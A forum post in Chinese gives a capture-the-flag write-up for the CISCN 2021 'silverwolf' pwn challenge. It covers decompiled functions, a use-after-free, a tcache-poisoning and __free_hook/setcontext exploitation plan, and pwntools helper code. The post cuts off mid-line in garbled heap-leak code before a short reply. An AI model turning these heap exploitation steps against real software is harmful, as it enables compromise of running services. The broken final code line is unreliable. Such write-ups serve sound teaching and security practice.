庾芷秋 发表于 2025-11-28 22:25:02

[CISCN 2021 初赛]silverwolf WP

一、题目来源

NSSCTF_Pwn_silverwolf

二、信息搜集

通过 file 命令查看文件类型:

通过 checksec 命令查看文件开启的保护机制:

根据题目给的 libc 文件确定 glibc 版本是 2.27。
三、反汇编文件开始分析

程序的开头能看到设置了沙箱:
__int64 sub_C70()
{
__int64 v0; // rbx

setvbuf(stdin, 0, 2, 0);
setvbuf(stdout, 0, 2, 0);
setvbuf(stderr, 0, 2, 0);
v0 = seccomp_init(0);
seccomp_rule_add(v0, 2147418112, 0, 0);
seccomp_rule_add(v0, 2147418112, 2, 0);
seccomp_rule_add(v0, 2147418112, 1, 0);
return seccomp_load(v0);
}通过工具可以分析出这个沙箱的作用:
ORW 被 ALLOW,那么本题的是不是和它有关呢?先打个问号。
根据输出提示,能知道程序的四大功能(exit 就不多说了):
puts("1. allocate");
puts("2. edit");
puts("3. show");
puts("4. delete");
puts("5. exit");逐一进行分析。
1、allocate

unsigned __int64 allocate()
{
size_t v1; // rbx
void *v2; // rax
size_t size; // BYREF
unsigned __int64 v4; //

v4 = __readfsqword(0x28u);
__printf_chk(1, "Index: ");
__isoc99_scanf(&unk_1144, &size);
if ( !size )
{
    __printf_chk(1, "Size: ");
    __isoc99_scanf(&unk_1144, &size);
    v1 = size;
    if ( size > 0x78 )
    {
      __printf_chk(1, "Too large");
    }
    else
    {
      v2 = malloc(size);
      if ( v2 )
      {
      qword_202050 = v1;
      buf = v2;
      puts("Done!");
      }
      else
      {
      puts("allocate failed");
      }
    }
}
return __readfsqword(0x28u) ^ v4;
}虽然让我们指定了下标(index),但是根据代码 if ( !size ) 我们知道:若要成功申请 chunk,那么 index 就只能为 0。但是,这也就意味着,我们可以一直申请 chunk,只要指定 index 为 0。
三个信息点:

[*]chunk 的大小是我们自己指定的,但是最大不超过 0x78(size > 0x78 )。
[*]全局变量 qword_202050 会存放我们申请 chunk 的大小(不含 chunk header)。
[*]全局变量 buf 会指向 chunk 的 user data 部分。
2、edit

unsigned __int64 edit()
{
_BYTE *v0; // rbx
char *v1; // rbp
__int64 v3; // BYREF
unsigned __int64 v4; //

v4 = __readfsqword(0x28u);
__printf_chk(1, (__int64)"Index: ");
__isoc99_scanf(&unk_1144, &v3);
if ( !v3 )
{
    if ( buf )
    {
      __printf_chk(1, (__int64)"Content: ");
      v0 = buf;
      if ( qword_202050 )
      {
      v1 = (char *)buf + qword_202050;
      while ( 1 )
      {
          read(0, v0, 1u);
          if ( *v0 == '\n' )
            break;
          if ( ++v0 == v1 )
            return __readfsqword(0x28u) ^ v4;
      }
      *v0 = 0;
      }
    }
}
return __readfsqword(0x28u) ^ v4;
}根据指定的下标,编辑对应 chunk 的 user data 部分。
两个关键信息:

[*]能够填入的内容的最大大小取决于全局变量 qword_202050。
[*]输入结束,若要退出循环,则需要输入换行符(\n)作为结束字符,该换行符最终会被转变成空字符"\0"。
3、show

unsigned __int64 show()
{
__int64 v1; // BYREF
unsigned __int64 v2; //

v2 = __readfsqword(0x28u);
__printf_chk(1, (__int64)"Index: ");
__isoc99_scanf(&unk_1144, &v1);
if ( !v1 && buf )
    __printf_chk(1, (__int64)"Content: %s\n");
return __readfsqword(0x28u) ^ v2;
}根据输入的下标,来输出对应 chunk 的 user data 部分。
对于 __printf_chk,这里单看 C 语言代码可能有点迷糊,可以结合汇编代码来理解:
.text:0000000000000F0D 018 48 8B 15 44 11 20 00          mov   rdx, cs:buf
.text:0000000000000F14 018 48 85 D2                      test    rdx, rdx
.text:0000000000000F17 018 74 13                         jz      short loc_F2C
.text:0000000000000F17
.text:0000000000000F19 018 48 8D 35 57 02 00 00          lea   rsi, aContentS                  ; "Content: %s\n"
.text:0000000000000F20 018 BF 01 00 00 00                mov   edi, 1
.text:0000000000000F25 018 31 C0                         xor   eax, eax
.text:0000000000000F27 018 E8 D4 FA FF FF                call    ___printf_chk函数原型:
int __printf_chk(int flag, const char *format, ...);

[*]flag:用于指定检查的级别。通常由编译器根据 FORTIFY_SOURCE 的设置自动传递。flag > 0 时,启用更严格的检查,例如限制 %n 的使用。
[*]format:格式化字符串,与标准 printf 的用法一致。
[*]...:可变参数列表,与 printf 的参数一致。
从汇编代码中可以看出,第三个参数(放在 rdx 中)沿用了之前的 mov rdx, cs:buf。
因此,该函数的 C 语言代码应该是:
__printf_chk(1,"Content: %s\n", buf);4、delete

unsigned __int64 del()
{
__int64 v1; // BYREF
unsigned __int64 v2; //

v2 = __readfsqword(0x28u);
__printf_chk(1, (__int64)"Index: ");
__isoc99_scanf(&unk_1144, &v1);
if ( !v1 && buf )
    free(buf);
return __readfsqword(0x28u) ^ v2;
}根据指定的下标,free 指定的 chunk。但是,free 之后并没有进行指针置 NULL 的操作,因此存在 UAF 的风险。
四、思路

本题有个特点,就是你还未进行任何操作的时候,程序就已经申请了很多的 chunk 了:
目前来看并没有可以利用的信息。
本题的思路就是:

[*]通过 UAF 泄露堆基址;
[*]通过 UAF 修改 Tcache bin 中的 chunk 的 fd 指针为 Tcache 管理块;(本 Glibc 版本还没有出现 Safe-Linking 机制)
[*]将 Tcache 管理块 allocate 出来,伪造其中的 count 指针,来欺骗堆管理器(你的 bin 满了);
[*]free chunk 使之进入 Unsorted bin;
[*]泄露 libc 基址;
[*]因为,有沙箱的存在,因此,打 ORW。(方法:__free_hook 劫持 + setcontext pivot)
五、Poc

1、四大功能的实现

def allocate(p,size,index=b'0'):
    p.sendlineafter(b'Your choice: ',b'1')
    p.sendlineafter(b'Index: ',index)
    p.sendlineafter(b'Size: ',str(size).encode())
   
def edit(p,content,index=b'0'):
    p.sendlineafter(b'Your choice: ',b'2')
    p.sendlineafter(b'Index: ',index)
    p.sendlineafter(b'Content: ',content)

def show(p,index=b'0'):
    p.sendlineafter(b'Your choice: ',b'3')
    p.sendlineafter(b'Index: ',index)

def delete(p,index=b'0'):
    p.sendlineafter(b'Your choice: ',b'4')
    p.sendlineafter(b'Index: ',index)index 等于 0 的时候,这四个功能才有效果,因此可以设置成默认值。
2、泄露堆基址

申请一个 chunk $\to$ free 掉它 $\to$ 利用 UAF 泄露其 fd 指针的值 $\to$ 通过该值与堆基址的偏移量,得到堆基址。
假设,我们的目标是申请一个 chunk size 为 0x20 的 chunk。
通过动态调试,查看 bin 列表情况:
根据 Tcache bin 的插入采用头插法和 Tcache bin 采用 LIFO 机制,我们首次申请会得到该链表的表头即上方红箭头指向的那个。
那么,free 之后,对应的链表应该还是老样子,其对应的 fd 指向的就是 0x59313a274790。
现在,我们应该明白,为什么题目一开始要准备那么多的 chunk 了吧?
原因就是,在 allocate 操作之后,我们的 free 操作有且仅能有一次。那么,如果一开始 bins 干净,那么你经过上述操作之后,由于不存在 Safe-Linking 机制,你会得到 你申请的 chunk -> 0 这样的结果。这你就实现不了堆基址的泄露了。
本部分的 Poc:
allocate(p,0x10)delete(p)show(p)p.recvuntil(b'Content: ')leak = u64(p.recvline()[:-1].ljust(8,b'\x00'))heap_base = (leak >> 12 > 12

歇凛尾 发表于 3 天前

用心讨论,共获提升!
页: [1]
查看完整版本: [CISCN 2021 初赛]silverwolf WP